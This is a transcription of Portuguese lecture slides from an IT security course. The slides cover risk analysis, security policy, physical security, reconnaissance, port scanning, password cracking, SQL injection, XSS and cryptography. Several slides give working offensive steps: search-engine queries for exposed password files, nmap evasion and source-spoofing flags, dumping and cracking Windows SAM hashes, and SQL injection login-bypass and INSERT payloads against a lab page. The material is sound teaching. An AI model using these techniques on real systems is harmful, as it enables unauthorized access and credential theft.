Segurança - BolinhaBolinha.com
Transcrição
Segurança - BolinhaBolinha.com
Gestão de T.I. POS683 – Redes de Comunicação Aula 3 Prof. Rodrigo Rocha [email protected] http://www.bolinhabolinha.com Requisitos da Segurança da Informação Confidencialidade Integridade Disponibilidade Autorização Autenticação Irrevogabilidade Legalidade 1 ATENÇÃO “TER RISCO SIGNIFICA TER UMA CHANCE” Riscos 2 Riscos Conceitos (ISO Guide 51 e 73) Risco • combinação da probabilidade de um evento e de suas conseqüências Probabilidade • grau de possibilidade de que um evento (3.1.4) ocorra • NOTA 1 – A ISO 3534-1:1993 fornece uma definição matemática da probabilidade como “um número real entre 0 e 1 atribuído a um evento aleatório. Pode se referir a uma freqüência relativa de ocorrência a longo prazo ou a um grau de confiança de que um evento irá ocorrer. Para um alto grau de confiança, a probabilidade é próxima de 1.” • NOTA 3 – Os graus de confiança em relação à probabilidade podem ser selecionados de classes ou categorias, tais como: ¾ rara / improvável / moderada / provável / quase certa, ou ¾ impossível / improvável / remota / ocasional / provável / freqüente Evento • ocorrência de um conjunto específico de circunstâncias; incidente Conseqüência • resultado de um evento; impacto 3 Risco vs Impacto Conceitos (ISO Guide 51 e 73) Ameaça • fonte potencial de dano • NOTA: O termo ameaça pode ser qualificado para definir sua origem ou a natureza do dano esperado (por exemplo, ameaça de choque elétrico, ameaça de esmagamento, ameaça de corte, ameaça de intoxicação,ameaça de fogo, ameaça de afogamento). vulnerabilidade • circunstância na qual ativos, pessoas, propriedade ou o ambiente ficam expostos a uma ou mais ameaças 4 Evento Conceitos (ISO Guide 51 e 73) análise de riscos (risk analysis) • uso sistemático de informações disponíveis para identificar ameaças e estimar riscos avaliação de riscos (risk evaluation) • procedimento baseado na análise de riscos para determinar se o risco tolerável foi alcançado análise e avaliação de riscos (risk assessment) • processo completo que compreende uma análise de riscos e uma avaliação de riscos uso esperado • uso de um produto, processo ou serviço de acordo com as informações disponibilizadas pelo fornecedor uso indevido previsível • uso de um produto, processo ou serviço, em desacordo com o fornecedor, mas que pode resultar de um comportamento humano previsível 5 Processo iterativo de análise e avaliação de riscos (risk assessment) e redução do risco Importante Ter definido o Escopo • Podem ser feitos a nível de unidade de negócio, departamentos, plataforma, aplicação ou níveis determinados pela empresa Economia • Calcular de forma precisa os riscos para evitar gastar mais com segurança do que o prejuízo em potencial Determinação do risco • quantitativo ¾ probabilidade e severidade ¾ quase impossível, pois nem todas as variáveis são quantitativas (valor, probabilidade, b bilid d grau d de iincerteza, t nível í ld de proteção, t ã ...)) • qualitativo ¾ extimativa das perdas potenciais Experiência • Poucas empresas possuem registros históricos das falhas de segurança, logo a avaliação depende da experiência da equipe envolvida 6 Passo a passo Identificar os ativos e seus valores • • • • determinar os ativos e sua relevância com processos do negócio valor de custo, valor para reposição, valor para reparo importância para competição com concorrência custo de desenvolvimento desenvolvimento, etc etc... Identificar as ameaças e vulnerabilidades • • • questionários entrevistas técnicas (brainstorm, delphi, etc...) Quantificar a probabilidade e o impacto nos negócios dessas ameaças potenciais Estimar a possível perda causada pela ameaça • • custo da construção/aquisição quanto perco pela quebra de confidencialidade Fazer um comparativo econômico entre o impacto da ameaça e o custo das contra-medidas Documentar o processo de análise Seleção das medidas de proteção Passo a Passo 7 Equipe de análise de risco Cargo de pessoas na equipe • • • • • gerentes segurança física donos de sistemas administradores analistas de segurança Erros Comuns • • • • • Escopo infinito Foco excessivo em tecnologia Falta de comprometimento da direção Falta de recursos Periocidade deficiente Exercícios 8 Workflow Identificar os ativos críticos Gerenciar o risco • Associar uma probabilidade e impacto das ameaças • Priorizar ameaças • Escolher estratégias de resposta • Desenvolver um plano de segurança Plano de recuperação de desastres WorkFlow Definição do contexto Análise/Avaliação de risco Comunicação do risco Estimativa de risco Avaliação de risco Avaliaçã o OK? Tratamento do risco Monitora amento e análise crítica de risco Identificação de risco Tratamento OK? Aceitação do risco 9 Modelo (Microsoft) (Fonte: Microsoft.com) Exercícios Bibliografia COMPLEMENTAR 1-) Defina os termos • • • • • a-) Ameaça b-) Agente da ameaça c-) Vulnerabilidade d) Severidade e-) Impacto 2-) Quais os principais benefícios da análise de Riscos? 3-) Quando a análise de risco deve ser executada? 4-) Descreva detalhadamente as principais etapas do processo de análise de risco 5-) Explique as alternativas em um processo de decisão derivado da avaliação dos riscos 6-) Quais os principais fatores a serem levados em consideração em uma análise de custo x benefícios? 10 Políticas de Segurança Definição De acordo com a ISO 17799:2005 • Objetivo: Prover uma orientação e apoio da direção para a segurança da informação de acordo com os requisitos do negócio e com as leis e regulamentações relevantes. • Convém que a direção estabeleça uma política clara, alinhada com os objetivos do negócio e demonstre apoio e comprometimento com a segurança da informação por meio da publicação e manutenção de uma política de segurança da informação para toda a organização. 11 Documento da política de segurança da informação Controle • Convém que um documento da política de segurança da informação seja aprovado pela direção, publicado e comunicado para todos os funcionários e partes externas relevantes. Diretrizes Diretri es para implementação • Convém que o documento da política de segurança da informação declare o comprometimento da direção e estabeleça o enfoque da organização para gerenciar a segurança da informação. Convém que o documento da política contenha declarações relativas a: ¾ a) uma definição de segurança da informação, suas metas globais, escopo e importância da segurança da informação como um mecanismo que habilita o compartilhamento da informação (ver introdução); ¾ b) uma declaração do comprometimento da direção, apoiando as metas e princípios da segurança dainformação, alinhada com os objetivos e estratégias do negócio; Documento da política de segurança da informação c) uma estrutura para estabelecer os objetivos de controle e os controles, incluindo a estrutura de análise/avaliação e gerenciamento de risco; d) breve explanação das políticas, princípios, normas e requisitos de conformidade de segurança da informação específicos para a organização organização, incluindo: • 1) conformidade com a legislação e com requisitos regulamentares e contratuais; • 2) requisitos de conscientização, treinamento e educação em segurança da informação; • 3) gestão da continuidade do negócio; • 4) conseqüências das violações na política de segurança da informação; e) definição das responsabilidades gerais e específicas na gestão da segurança da informação, incluindo o registro dos incidentes de segurança da informação; f) referências à documentação que possam apoiar a política, por exemplo, políticas e procedimentos de segurança mais detalhados de sistemas de informação específicos ou regras de segurança que os usuários devem seguir. 12 Atividade 1-) Definição da Empresa 2-) Selecionar uma área 3 ) Realizar 3-) R li uma análise áli d de risco i 4-) Produzir políticas de segurança Modelos SANS • http://www.sans.org/resources/policies/ http://www.ruskwig.com/security_policies.htm http://www.dir.state.tx.us/security/policies/tem plates.htm 13 Segurança Física Segundo a NBR ISO/IEC 17799:2005,: “Objetivo: Prevenir o acesso físico não autorizado, ç e danos e interferências com as instalações informações da organização. Convém que as instalações de processamento da informação críticas ou sensíveis sejam mantidas em áreas seguras, protegidas por perímetros de segurança definidos, com barreiras de segurança e controles de acesso apropriados. Convém que sejam fisicamente protegidas contra o acesso não autorizado, danos e interferências. Convém que a proteção oferecida seja compatível com os riscos identificados.“ Dispositivos Central de alarme • Prevenção de sinistros Monitoramento 24h 14 Dispositivos Controle de Rondas • sistema de controle de ronda inteligente composto por um equipamento portátil de coleta de dados, o Leitor Viggia, e um software de controle de ronda Dispositivos Controle Biométrico • Autenticação / Autorização 15 Dispositivos Catraca Eletrônica • Identificação Dispositivos Câmeras de segurança Demo on line http://200.161.28.199 http://62.55.154.23:40002/ Visão Vi ã N Noturna 16 Dispositivos F.A.Q.: O que é FPS?: Imagens(quadros) por segundo (is). A gravação de 30 e 120 fps tem qualidade de gravação de 7,5i/s (usado na maioria dos sistemas de seg segurança, rança peq pequena ena tr truncada ncada na imagem gravada), a de 240fps tem de 15i/s (usado em menor escala no mercado, quase tempo real) e a de 480 tem de 30i/s (tempo real , mesma taxa utilizada em televisão e dvd). O que é câmera CCD? : câmeras com tecnologia digital, requer uma iluminação menor ou nenhuma, qualidade superior. O que é câmera CMOS? : câmeras com tecnologia analógica que requer uma iluminação maior e tem qualidade inferior. Qual a diferença das lentes/mm? : As diferenças estao no alcance e no grau de abertura, que dependem do local a ser instalado. Dispositivos Dome Elemento protetor das câmeras contra poeira, ventos e etc . Geralmente fixados no teto de forma a ficarem discretos. 17 Dispositivos Gravadores de vídeo • Placa PCI • DVR ¾HD Interna OCR Sistema de reconhecimento 18 Footprint Levantamento de Informações Glossário Tipos de Hackers • • • • • • hacker cracker ethical hacker white hat black hat gray hat Fraquezas de segurança • • • • • • • • script kiddie hacktivismo vulnerabilidade Exploit / 0day Empregados mal preparados / descontentes Adminitradores imprudentes Espionagem industrial Wardriving 19 Funcionamento de um ataque Levantamento de informações • footprint • fingerprint • varreduras Explorações • força bruta p • exploits • sql injection, etc. Elevação de privilégios Instalação de backdoor e ferramentas Obtendo as informações privilegiadas FootPrint Levantamento de informações sobre o sistema “alvo”; É o iinício í i para se traçar uma estratégia é i de ataque; Sun Tzu (A arte da guerra) • "O que possibilita ao soberano inteligente e seu comandante d t conquistar i t o inimigo i i i e realizar li façanhas fora do comum é a previsão, conhecimento que só pode ser adquirido através de homens que estejam a par de toda movimentação do inimigo" 20 Por que garimpar informações ? Sistemas são feitos por pessoas, e cada pessoa é diferente (comportamento, humor, caráter, fidelidade, etc...) Os ataques são feitos contra uma organização e não contra um único equipamento Suas chances diminuem muito devido a medidas de segurança. (Exemplo: descobrir um 0day para explorar um WebServer) Engenharia Social Requisitos • • • • Gestão de pessoas Boa Memória Agradável Simpático Comunicação Pro Ativo Persuasível Postura de “Chefe” Interações e ações co com as pessoas • Reciprocidade • Modelo a ser seguido Amável Herói 21 Engenharia Social Meios • • • • • Instante Messager Forum Second Life E-Mail Cara-a-Cara Lista de Emails / Grupos Comunidades Virtuais Telefone Web Métodos • • • • Pesquisas email/web Ouvidos atentos Escuta telefônica Happy Hour “Passeios” pela empresa Empregados externos Sala do café É lá vamos nós !! Informações sobre a empresa • Aquisições / Fusões recentes ¾ maturidade no nível de segurança diferentes ¾ migrações i õ / iintegrações t õ d de sistemas i t / iinfra f • Aquisições de novos equipamentos • WebSite ¾ muitas informações escondidas ¾ Possui extranet? • DNS lookup ¾ servidor de nomes ¾ faixa de endereços • Whois ¾ informações sobre o registro do domínio • Blogs / Vagas de emprego / Forums / Orkut / secondlife 22 Garimpando informações Webpage da empresa Histórico dos sites da empresa • http://www.archive.org Sites de Busca http://www.dogpile.com Grupos de E-mail • http://groups.google.com/ - pesquisar @alvo.com.br Sites • Tribunais (Ex: http://www.tj.sp.gov.br ) • Telefônica Livros sobre investigações g ç ((investigador g p particular)) • www.crimetime.com 23 Google\Yahoo Hacks Google (http://johnny.ihackstuff.com/ghdb.php) • • “@alvo.com.br” Arquivos do excel em determinado site ¾ site:www.alvo.com.br filetype:xls • intitle: intitle:"extranet extranet “ • Procurando arquivos do word ¾ intitle:”index of” -inurl:htm -inurl:html docx • Estatísticas do site ¾ intitle:"Usage Statistics for" "Generated by Webalizer“ • VNC ¾ intitle:"vnc" inurl:5800 • Cópias de arquivos importantes ¾ filetype:bak fil b k iinurl:"htaccess l "h | passwd d | shadow h d |h htuser"" • Video server ¾ intitle:"live view" intitle:axis · intitle:axis intitle:"video server“ Yahoo • Sites que apontam para a empresa ¾ linkdomain:alvo.com.br –alvo.com.br Robots.txt Arquivo padrão texto que é colocado no site da empresa para “dizer” o que não deve ser indexado pelos mecanismos de busca • Google hacks ¾"robots.txt" "Disallow:" filetype:txt 24 Exemplo whois • whois alvo.com.br registro.br registro br ping e traceroute ping • Verifica se o host responde a uma requisição ICMP traceroute / tracert • Mostra a rota até chegar no host destino On Line • http://network-tools.com • http://visualroute.visualware.com/ • http://ping.eu/ 25 Ferramentas on-line Não intrusivo Ex: www.netcraft.com • Whats that site running “Rastrear” o e-mail Olhando o cabeçalho Logar via telnet no servidor • telnet pop3.servidor.com.br 110 Autenticando • user nome nome_do_usuario do usuario • pass senha_do_usuario Comandos • Mostra a quantidade de mensagens e o espaço ocupado ¾ stat • Mostrar lista das mensagens ¾ list • Mostrar uma mensagem ¾ retr numero_mensagem • Mostra o cabeçalho mais “n” linhas ¾ top numero_mensagem numero_linhas • Marcar para deleção ¾ dele numero_mensagem • Sair ¾ quit 26 Spider Fazendo download do site inteiro • wget –r www.alvo.com.br metagoofil Extrai metadados de arquivos em determinados sites • Google ¾ Site:alvo.com filetype: pdf 27 dnsenum Coletar informações do DNS • Tenta fazer transferência de zonas Exercícios Em Grupo: • Levante as seguintes informações sobre a sua máquina. Quais comandos você utilizou: ¾ ¾ ¾ ¾ ¾ ¾ Endereço IP Máscara Classe da Rede (A,B ou C) Servidor de DNS Servidor DHCP Gateway Faça uma lista de 5 sites famosos e descubra qual sistema operacional está rodando neles. Escolha um site e levante todas as informações que puder (Exemplo: SO,IP, registros, g , DNS,, etc...)) utilizando de técnicas não intrusivas. • • Site: Informações apuradas e como foram conseguidas: Quais as formas de “tentar” minimar o processo de obtenção de informações descritos nesta aula. 28 Funcionamento de um ataque Levantamento de informações • footprint • fingerprint • varreduras Explorações • força bruta p • exploits • sql injection, etc. Elevação de privilégios Instalação de backdoor e ferramentas Obtendo as informações privilegiadas Verreduras Levantamento de informações sobre o sistema “alvo”; Podemos P d utilizar ili fferramentas automatizadas (muito “barulhenta”) ou manuais (menos “barulhentas”) Manual • telnet <porta> Ex: telnet 80 • echo “teste” | nc www.alvo.com 80 | grep “<address>” 29 Varreduras - ferramentas NMAP • Sofisticado portscan (varredura de portas) • Escrito por Fyodor • Manual: http://nmap.org/man/pt-br/ NMap – tipos de varreduras Sintaxe • nmap <parametros> host –p porta • Exemplo: ¾ nmap 192.168.0.1 Exemplos de uso • Verificando o sistema operacional ¾ nmap 192.168.0.1 –O • Não efetua ping (útil para firewall do windows) ¾ nmap 192.168.0.2 –P0 • Tentar obter a versão do serviço ¾ nmap 192.168.0.100 –sV • Varrer V uma faixa f i d de IP ¾ nmap 10.0.0.1-100 • Criar um log da varredua ¾ nmap 10.0.0.1-254 –oN varretura.txt • Scaneando uma faixa de IP procurando uma determinada porta ¾ nmap 10.0.0.1-250 –p 80 30 NMap – “Tentando” evitar Firewall/IDS -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> (Estabelece um padrão de temporização) • “Nmap oferece seis padrões de temporização. Você pode especificá los com a opção -T especificá-los T e os números (0 - 5) o ou os nomes. Os nomes de padrões são paranóico (paranoid, 0), furtivo (sneaky, 1), educado (polite, 2), normal (3), agressivo (agressive, 4) e insano (insane, 5). Os dois primeiros são para evitar um IDS. O modo educado (ou polido), diminui o ritmo de escaneamento para usar menos banda e recursos da máquina alvo alvo. O modo normal é o padrão e, portanto, -T3 não faz nada. O modo agressivo acelera os scans assumindo que você está em uma rede razoavelmente rápida e confiável. Finalmente, o modo insano assume que você está em uma rede extraordinariamente rápida ou está disposto a sacrificar alguma precisão pela velocidade.” NMap – “Tentando” evitar Firewall/IDS -f (fragmenta os pacotes); --mtu (usando a MTU especificada) • “A idéia é dividir o cabeçalho TCP em diversos pacotes para tornar mais difícil para os filtros de pacotes, pacotes os sistemas de detecção de intrusão, e outros aborrecimentos, detectar o que você está fazendo” -D <chamariz1 [,chamariz2][,ME],...> (Disfarça um scan usando chamarizes) • “Faz com que um scan com chamarizes seja executado, o que parece ao host remoto que, o(s) host(s) que você especificou como chamarizes também estejam escaneando a rede-alvo. Com isso, o IDS poderá reportar 5 a 10 scans de portas de endereços IP únicos, mas não saberá qual IP estava realmente escaneando e qual era um chamariz inocente. Embora isso possa ser desvendado através de rastreamento de caminho de roteador, descarte de respostas (response-dropping) e outros mecanismos ativos, normalmente é uma técnica eficaz para esconder o seu endereço IP.” 31 NMap – “Tentando” evitar Firewall/IDS -S <Endereço_IP> (Disfarça o endereço de origem) • “Em algumas circunstâncias, o Nmap pode não conseguir determinar o seu endereço de origem (o Nmap irá dizer se for esse o caso). Nesta situação, ç use o -S com o endereço ç IP da interface que q você deseja utilizar para enviar os pacotes. • Outro uso possível para esta flag é para disfarçar o scan e fazer com que os alvos achem que alguma outra pessoa está escaneando-as. Imagine uma empresa que está constantemente sofrendo scan de portas de um concorrente! A opção -e normalmente seria requerida para este tipo de uso e -P0 seria recomendável.” • Fonte: Manual do NMAP SuperScan (Windows) PortScanner 32 Banner grabber Retirar informações através do banner do aplicativo • telnet IP porta • Exemplo: telnet 192.168.0.100 21 HPING Enviar pacotes “montados” TCP hping alvo.com.br –p <porta> Opções • -F --fin set FIN flag -S –syn set SYN flag -R --rst set RST flag -P --push set PUSH flag -A --ack set ACK flag -U –urg set URG flag -X --xmas set X unused flag (0x40) -Y --ymas set Y unused flag (0x80) • -p <número porta> 33 Nessus Instalando • rpm –ivh Nessus-3.2.0-es5.i386.rpm • rpm –ivh Nessus-Client-3.2.0-es5.i386.rpm Nessus-Client-3 2 0-es5 i386 rpm Criando o usuário • /opt/nessus/sbin/nessus-add-first-user Carregando servidor nessus • /opt/nessus/sbin/nessusd -D D& carregando Cliente • /opt/nessus/bin/NessusClient Paraos http://www.parosproxy.org Proxy “local” Pode ser utilizado para interceptar requisições GET e POST Consegue visualizar e modificar campos “hidden” de formulários 34 John the Ripper Instalando • • • • tar xzvf john-1.7.0.2.tar.gz cd john-1 john-1.7.0.2/src 7 0 2/src make clean linux-x86-any cd ../run Utilizando • jjohn arquivo_senhas q _ Usando com dicionários • john arquivo_senhas --wordlist=./dicionario.txt Senhas Windows bkhive-linux /mnt/hda1/WINDOWS/system32/config/system saved-syskey.txt samdump2-linux /mnt/hda1/WINDOWS/system32/config/sam saved syskey txt>password hashes txt saved-syskey.txt>password-hashes.txt john password-hashes.txt -w:eng.txt http://www.plain-text.info/search/ 35 Senhas Senhas Fracas • somente letras ou números • poucos caracteres • palavras conhecidas ¾ computador, teste, root, caneta, bolinha • dados pessoais ¾ placa do carro, nomes, endereços, escola, sobrenome, datas, ... Senhas S h F Fortes t • Combinação ¾ letras maiúsculas e minúsculas ¾ números ¾ caracteres especiais ¾ no mínimo 8 caracteres Porque as senhas falham Engenharia social • através de “um bom papo e simpatia” conseguir dados Adivinhação • senhas h utilizadas tili d comumente t ((root:root, t t admin:admin) d i d i ) • senhas padrão ¾ http://defaultpassword.com/ ¾ http://www.phenoelit-us.org/dpl/dpl.html ¾ http://www.cyxla.com/passwords/index.php Força Bruta • • • • Tentar todas as possíveis entradas 1,2,3,....,a,b,c,...z 11,12,13,14,...., zz ... Dicionário • Utilização de lista de palavras para facilitar as tentativas • “chute direcionado” 36 Senhas fortes possíveis combinações em um ataque de força bruta, utilizando somente letras minúsculas e todos os caracteres Aleatório é aleatório mesmo ? Distribuição 37 Quebrando Senhas Windows Utilizando backtrack • boot via pendrive • bkhive-linux /mnt/hda1/Windows/System32/config/SYSTEM syskey.txt • samdump2-linux /mnt/hda1/Windows/System32/config/SAM syskey.txt > hashes.txt • Brute Force ¾ john --format=NT hashes.txt • Dicionário ¾ john hashes.txt –w:dicionario.txt • Raibow tables ¾ http://www.plain-text.info/search/ Tools THC-HYDRA • Brute force para vários serviços 38 Exercícios 1-) Utilizando o software passutils.exe... • a-) gere 10 senhas fracas, médias e fortes. • b-) Coloque uma antiga senha utilizada por você e descubra o nível de segurança da mesma. • c-) Entre com seu usuário e senha de e-mail, clique em “revel password”, vá para o Internet Explorer, selecione o password (****) e vá novamente a tela do passutil. O que ela mostrou ? 2-) Quais os principais passos para termos segurança no processo de autenticação? 3-) Quais são as fragilidades da utilização de senhas? 4-) O que são senhas fortes e qual o problema da sua utilização? 5-) Qual seria uma solução para evitar o alto número de senhas que temos que decorar hoje em dia? Exercícios 6-) Como posso tentar reduzir o tempo de um ataque do tipo força bruta? 7-) O que são raibow-tables? 8-) O que são hashes ? 9-) Como posso forçar a segurança em senhas do windows e linux? 39 Ambiente WEB “estático” Servidor • IIS • Apache Cliente • Browser ¾ IE ¾ FireFox Ambiente Web “Dinâmico” Servidor Web Cliente • Navegadores Servidores S id d de BD 40 Processo de registro de um domínio Registrar o nome do domínio • Nacional ¾http://www registro br ¾http://www.registro.br • Internacional ¾Várias empresas são credenciadas (http://www.internic.com/alpha.html) 2 servidores de DNS • Traduzem o nome www.seila.com www seila com para um endereço IP 200.200.20.1 Diretórios em servidor web Internet Information Service - IIS • C:\inetpub\wwwroot Apache • \var\www Arquivos colocados nestes diretórios são lidos pela raiz do site: • Exemplo: c:\inetpub\www\seila.html • http://www.site.com.br/seila.html 41 Um pouco mais dinâmica Uso de scripts • Javascript <script language="JavaScript"> language JavaScript > nome = prompt("Diga-me seu nome:","“)} document.write("<h1>Olá " + nome + "</h1>") </script> • Vbscript <SCRIPT LANGUAGE="VBScript"> p Nome=inputbox(“Digite um nome:”) Msgbox(“Ola” & nome) </SCRIPT> Problema Uma autenticação via client-side (Nunca faça isso em casa !!!!) <script language="javascript"> language javascript > var ra = prompt("Digite seu RA:"); var senha = prompt("Digite sua senha:"); if(ra==11111111 && senha==1111) { document.writeln("<span class='style6'><br /><span class='style11'>Seja muiiiito Bem Vindo !!!</span></span></span></div>"); } else { document.writeln("<span class='style6'><br />Não Autorizado</span></span></div>"); } </script> 42 Precisamos de interação!!! Aplicações web • • • • Intranet Extranet Dinâmicas Acesso a banco de dados Linguagens • Client side ¾ Escrita dentro da página html ¾ Usuário têm acesso ao código g fonte ¾ Ex; javascript e vbscript • Server side ¾ São processadas no servidor ¾ Servidor retorna resultado em forma de página html ¾ Usuários não conseguem ver o código fonte Ambientes Server-Side Windows • Web: IIS • Linguagem: ASP, ASP.NET • Banco de Dados: SQL Server ou outros Linux • Web: Apache • Linguagem: PHP • Banco de Dados: Mysql, Postgre, outros AMP ¾ Apache – Mysql – PHP LAMP • Linux – Apache – Mysql - PHP 43 Tipos de Ataques Sql Injection XSS - Cross Site Scripting XPath XP th SQL Injection Método de se inserir comandos SQL em entradas de páginas web; páginas g dinâmicas na web recebem p parâmetros As p do usuário e repassam via consulta para o servidor de banco de dados • Exemplo: Login, consultas Com o artifício do SQL Injection, é possível: • entrar autenticado sem possuirmos credenciais • realizar comandos SQL (Ex: drop table) • inserir dados nas tabelas Páginas que podem ser exploradas: • ASP, JSP, CGI ou PHP 44 Laboratório Entrando autorizado Laboratório No login posso tentar • Campos numéricos ¾1 or 1=1 1 1 • Campos texto ¾‘ or ‘’=‘ • Caracter de “scape” ¾1 or 1=1 – 45 Laboratório Inserindo dados Laboratório Utilizando as mensagens de erro • http://localhost/noticia.asp?id=1 having 1=1 • http://localhost/noticia.asp?id=1 group by noticias.codigo having 1=1 • http://localhost/noticia.asp?id=1 http://localhost/noticia asp?id=1 group by noticias.codigo,titulo noticias codigo titulo having 1=1 • http://localhost/noticia.asp?id=1 group by noticias.codigo,titulo,texto having 1=1 Depois de descoberto os campos, adiciono uma notícia falsa • http://localhost/noticia.asp?id=1%20group%20by%20noticias.codigo,ti tulo,texto;INSERT%20INTO%20NOTICIAS(CODIGO,TITULO,TEXTO )%20VALUES(9999,'Falencia','A%20empresa%20decretou%20fale ncia');--- 46 XSS – Cross Site Scripting As vulnerabilidades Cross-site scripting (por vezes chamado de XSS) ocorrem quando um invasor usa uma aplicação web para enviar código malicioso, geralmente na forma de um script, para um outro usuário final. Estas vulnerabilidades estão muito difundidas e ocorrem sempre que uma aplicação web utiliza a entrada do usuário na saída que aplicação gera sem validá-la. (owasp) Laboratório http://localhost/sobre.asp?pagina=sobrenos.htm http://localhost/sobre.asp?pagina=http://www.sitemalicioso.com/outrapagina.htm 47 Exercícios 1-) Quais danos podem ser causados por ataques de Sql Injection? 2-) 2 ) O que é Bli Blind d SQL Injection? I j ti ? 3-) Quais as contra-medidas contra XSS e Sql Injection? 4-) “Não mostrar mensagens de erros do servidor web são suficientes para frustar tentativas de ataque” ataque . Você concorda com esta afirmação. Justifique. 5-) O que é, e quais os problemas de uma backdoor web? Criptografia 48 Requisitos da seg. da informação Confidencialidade • Garantir que a informação seja legível somente por pessoas autorizadas Integridade • A mesma informação que foi enviada deve ser recebida. Não foi alterada. Disponibilidade • Garantir que a informação estará lá quando for necessário Autenticidade • Das entidades • Das origem das mensagens Não Repúdio • Garantir que a entidade “negue” a autoria da mensagem/ato Anonimato • Esconder a identidade Falando em integridade Exemplo • “Meu sonho virou realidade! Finalmente saí de férias. Não encontrei ninguém e por isso deixei o relatório com a mulher do chefe. Prometo tirar fotos !!!” • “Meu sonho virou realidade! Finalmente saí de férias. Não encontrei ninguém e por isso deixei o relatório com a mulher do chefe. Prometo tirar fotos !!!” 49 Criptografia A palavra criptografia ´e composta pelos termos gregos: • kryptos = secreto • grafo = escrita. Criptografia Clássica • Métodos para promover sigilo das informações Criptografia Moderna • Conjunto de técnicas computacionais e matemáticas para atender aos requisitos da segurança da informação Primitivas vs Requisitos Primitivas CIFRA Requisitos de Segurança g ç Confidencialidade Função de Hash Integridade Assinatura Digital Autenticidade Integridade Não Repúdio 50 Cifras Mecanismo para prover confidencialidade (sigilo) nas informações Composta • Ciframento • Deciframento Componentes • Texto em Claro • Texto Cifrado • Chave Cifras Cifragem de uma mensagem 51 Ciframento Simétrico • A partir da chave de ciframento é computacionalmente fácil achar a chave de deciframento Assimétrico • É computacionalmente “impossível” obter a chave de deciframento a partir da chave de ciframento • Chave pública e privada Simétricas Vantagens • • • Desvantagens • • Velocidade Chaves pequenas Atingem os objetivos de confidencialidade Chave secreta compartilhada Não permite autenticação e não repúdio Principais algoritmos • • • • • a) DES (Data Encryption Standard): É o algoritmo simétrico mais difundidono mundo. Criado pela IBM em 1977, com um tamanho de chave de 56 bits, relativamente pequeno para os padrões atuais, foi quebrado por “força bruta” em 1997; b) TripleDES: Uma variação do DES que utiliza 3 ciframentos em seqüência, empregando chaves com tamanho de 112 ou 168 bits, sendo recomendado no lugar do DES desde 1993; c) IDEA (International Data Encryption Algorithm): Criado em 1991, segue as mesmas idéias do DES, mas tem execução mais rápida que o mesmo. d) AES (Advanced Encryption Standard): É o padrão atual para ciframento recomendado pelo NIST (National Institute of Standards and Technology). Trabalha com chaves de 128, 192 e 256 bits, que adotou o cifrador Rijndael após a avaliação de vários outros; e) RC6: A última versão de uma série de cifradores (RC2, RC3, RC4, RC5) desenvolvidos por Rivest. Concorreu à adoção pelo padrão AES. 52 Substituição Simples Júlio César • Utilizada para troca de mensagens entre os generais • Deslocamento (k) de 3 letras. Cada letra do alfabeto era substituída pela terceira letra a direita Texto em Claro: ABCDEFGHIJKLMNOPQRSTUVWXYZ Texto Cifrado: DEFGHIJKLMNOPQRSTUVWXYZABC Exemplo • EU SOU O CARA • HX VRX R FDUD Exercício Utilizando a cifra de César, mostre qual a mensagem da frase abaixo D FLIUD GH FHVDU SRGH VHU TXHEUDGD IDFLOPHQWH 53 Exercício Utilizando a cifra de César, cifre a seguinte mensagem. t e n h o a u l a n a E S C OL A ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ Exercício Utilizando a cifra de César com k<>3. Qual o valor de k (Deslocamento)? 54 Análise de freqüência Baseado no fato de que certas letras e combinações de letras aparecem com uma certa frequencia em determinada linguagem Em Inglês, por exemplo, é a letra E e a menos comum Z Em português, a letra A é a mais comum e a letra Y a menos comum Freqüencia das letras em Inglês 55 Freqüência das letras em Português 56 Assimétrica Duas chaves • 1 – cifrar • 1 – decifrar Chaves públicas e privadas • • • • Você deseja enviar uma mensagem a alguém Pede a chave pública Cifra a mensagem com esta chave pública Receptor decifra utilizando a chave privada Algoritmo • RCA • DSA 57 Assinatura Digital Cifragem com a sua chave privada e envia Utilizando a chave pública, qualquer um pode decifrá-la utilizando a chave pública autenticidade, integridade e não-repudiação da mensagem Não garante a confidencialidade da mensagem. Qualquer um poderá acessá-la e verificá-la ifi á l Hash É um método para transformar dados de tal forma que o resultado seja (quase) exclusivo 58 Bibliografia Livro texto • FRANCO Jr. Carlos F. e-business na Infoera. 4. Ed. São Paulo: Atlas, 2006. ISBN13: 9788522443901. • KUROSE, JAMES F.; ROSS, KEITH W. Redes de computadores e a internet uma nova abordagem. Addison Wesley. 3a Edição. 2007 ISBN13: 9788588639188. • TANEMBAUM, A.S., Redes de Computadores. 4a. Ed. Rio de Janeiro: Editora Campus, 2003. ISBN13: 9788535211856. • TERADA TERADA, Routo. R t Segurança S de d dados: d d criptografia i t fi em redes d de d computador. São Paulo: Edgard Blücher, 2.Ed. 2008. ISBN13: 9788521204398. 59